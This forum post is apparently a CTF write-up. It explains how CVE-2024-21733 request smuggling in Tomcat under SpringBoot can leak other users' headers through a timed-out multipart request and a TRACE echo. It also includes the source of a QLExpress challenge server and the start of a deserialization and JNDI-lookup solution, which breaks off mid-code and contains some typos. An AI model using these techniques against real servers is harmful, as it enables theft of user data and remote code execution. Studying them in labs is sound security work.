Jump to content

Featured Replies

Posted

WEB

PasswdStealer

Foreword

Originally the title is PasswdStealer:)

The test point is the use of CVE-2024-21733 in the SpringBoot scenario.

Reference for basic principles of vulnerabilities https://mp.weixin.qq.com/s?__biz=Mzg2MDY2ODc5MA==mid=2247484002idx=1sn=7936818b93f2d9a656d8ed48843272c0

I won't repeat it again.

Usage in SpringBoot scenario

The previous analysis shows that the exploitation of this vulnerability in the tomcat environment requires certain conditions

Trigger a timeout error, which prevents reset() from calling the logic that triggers the loop processing in server() normally, and allows tomcat to process multiple requests at once and echo the leaked sensitive data. Below is to find a way to use it in the naked SpringBoot scenario.

Test environment: SpringBoot v2.6.13, tomcat replaced with vulnerability version 9.0.43, no routing controller was added.

step1 Trigger timeout

The purpose is to make read() throw IOException y14xb0aagph16964.png

Skip reset() to cause limit misalignment.

Using the Poc in the above analysis, POST package with CL greater than the actual value jxjkkfa2fln16966.png

Return in seconds, no exception ran out, because the aaa route does not exist and the POST data is not processed by tomcat.

Here we need to find a request that can handle POST data.

Here you use multipart/form-data to upload data.

ixlrjf3vuk016968.png

Timeout timeout was successfully triggered

step2 Enters the loop

Next try to satisfy condition 2, so that the request still enters the loop in Http11Processor.java#service() after timeout. After debugging, it was found that this did not meet the condition wpgp1lcjcqo16971.png

keepAlive becomes false, backtracking the call stack upwards to find the reason,

5dyd45imewd16973.png rfroojxvp0h16976.png

If statusCode is in StatusDropsConnection, keepAlive will be set to false

Continue backtracking and find where statusCode is set to 500,

hazju3daslb16978.png

Keep up and find that it was ServletException that triggered it ywol3usynq316982.png

Continue to follow up and finally find that the IOException that we triggered was packaged as FileUploadException afopv3betoj16984.png

The IOException here actually ran out when discardBodyData. Since it was not caught, it was thrown directly to the upper level.3pl0t5f0d3e16987.png

At this point, we have figured out the reason for the generation of 500. Let’s look for ways to prevent the request from generation of 500, which is to make discardBodyData() not throw an IOException, but can still cause a timeout.

First use a normal multipart package to test.

Here are some boundary standards

Assume that boundary=---WebKitFormBoundary7MA4YWxkTrZu0gW is set in Content-Type,

Then ------WebKitFormBoundary7MA4YWxkTrZu0gW represents the beginning of a part (two first--)

-----WebKitFormBoundary7MA4YWxkTrZu0gW-- represents the end of the form (two are added in front and behind --)

Here we construct a multipart upload package with a head and a tail yzjzahcahx516990.png

We found that he could walk into readBoundDary()

l2kprwnhbyw16993.png

Continue to follow up readBoundDary(). According to the boundary standard mentioned above, marker[0]=readByte(); is reading the last two digits--or CLRF, which is the end symbol of boundary.z55dwpwjn2p16995.png

But what if we set the request package to do this, that is, there is no boundary end flag?mxs5lnqm00a16996.png

The packet continues to follow and finds that if readByte() cannot read the data (because we did not send it), it will eventually call fill(), causing IOException (the position of step1) in the fill.

agail3k5khu16999.png

At this time, readByte() will throw an IOException, but it is caught in the readBoundary and is packaged as a MalformedStreamException.

At this time, I returned to the skipPreamble function and found that the MalformedStreamException will be caught, which successfully prevented it from continuing to throw an IOException upward to cause 500.

} catch (final MalformedStreamException e) {

return false; At this point we successfully built a request package that timed out but returned 404, and 404 is not in the StatusDropsConnection, so we can enter the while loop.1yypxioizsn17001.png

step3 Leaked Echo

This step can be used directly to use Trace request. Trace request

apnwktn5czc17005.png

End Utilization

Here we set the goal to leak the flag in the headers of normal users.

First, send a request (assuming that the victim sent it during this request) with sensitive information inside. At this time, the inputBuffer looks like this.lsyjk4ynrge17007.png

The attacker sends a request and returns normally 4ie5bao4si517010.png

At this time, the situation inside the inputBuffer has become like this.1rspq5mcktf17013.png

The last and most important step is that the attacker sends a meditative multipart package awwviqneoeh17016.png

At this time, after the multipart package timed out, it will still enter the while loop and continue to send the package. Therefore, after nextRequest, the inputBuffer becomes a complete Trace request, and the flag becomes the header of the Trace request by overwriting the original buffer.

rkmmz0at23k17019.png

Finally, the flag is obtained through the echo of Trace.

ovluaminwip17022.png

What you get here is the headers information, but the body can actually be obtained, which is a little more troublesome. Just send a package full of CLRF in front of the victim package, fill the buffer with CLRF in advance, and overwrite the body as the headers requested by TRACE.

EzQl

package org.example;

import com.ql.util.express.DefaultContext;

import com.ql.util.express.ExpressRunner;

import com.ql.util.express.config.QLEexpressRunStrategy;

import com.sun.net.httpserver.HttpServer;

import com.sun.net.httpserver.HttpHandler;

import com.sun.net.httpserver.HttpExchange;

import sun.misc.BASE64Decoder;

import java.io.IOException;

import java.io.InputStream;

import java.io.OutputStream;

import java.net.InetSocketAddress;

import java.nio.charset.StandardCharsets;

import java.util.Base64;

import java.util.HashSet;

import java.util.List;

import java.util.Set;

public class Main {

public static void main(String[] args) throws IOException {

int port=Integer.parseInt(System.getenv().getOrDefault('PORT', '8000'));

HttpServer server=HttpServer.create(new InetSocketAddress(port), 0);

server.createContext('/', new HttpHandler() {

@Override

public void handle(HttpExchange req) throws IOException {

int code=200;

String response;

String path=req.getRequestURI().getPath();

if ('/ql'.equals(path)) {

try {

String expression=getRequestBody(req);

express=new String(Base64.getDecoder().decode(express));

ExpressRunner runner=new ExpressRunner();

QLEExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

SetString secureMethods=new HashSet();

secureMethods.add('java.lang.Integer.valueOf');

QLEExpressRunStrategy.setSecureMethods(secureMethods);

DefaultContextString, Object context=new DefaultContext();

response='0';

try {

response=String.valueOf(runner.execute(express, context, (List)null, false, false));

} catch (Exception e) {

System.out.println(e);

}

//String param=req.getRequestURI().getQuery();

//response=new InitialContext().lookup(param).toString();

} catch (Exception e) {

e.printStackTrace();

response=':(';

}

} else {

code=404;

response='Not found';

}

req.sendResponseHeaders(code, response.length());

OutputStream os=req.getResponseBody();

os.write(response.getBytes());

os.close();

}

});

server.start();

System.out.printf('Server listening on :%d%n', port);

}

private static String getRequestBody(HttpExchange exchange) throws IOException {

InputStream is=exchange.getRequestBody();

byte[] buffer=new byte[1024];

int bytesRead;

StringBuilder body=new StringBuilder();

while ((bytesRead=is.read(buffer)) !=-1) {

body.append(new String(buffer, 0, bytesRead, StandardCharsets.UTF_8));

}

return body.toString();

}

}

A simple ql expression

Solution 1

Solution 1 is actually biased towards a little unexpected, forgetting a feature of QLEExpression. First of all, we noticed that there is an activeMq dependency, which comes with CB dependencies. Therefore, the deserialization utilization chain has been confirmed.

The second is how to trigger deserialization. The two ideas for deserialization triggering are not easy.

TemplatesJndi belongs to the latter, we can call the Setter method of JdbcRowSet to hit a lookup

import com.sun.rowset.IdbcRowsetImpl;

jdbc=new JdbcRowsetImpl();

jdbc.dataSourceName='

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.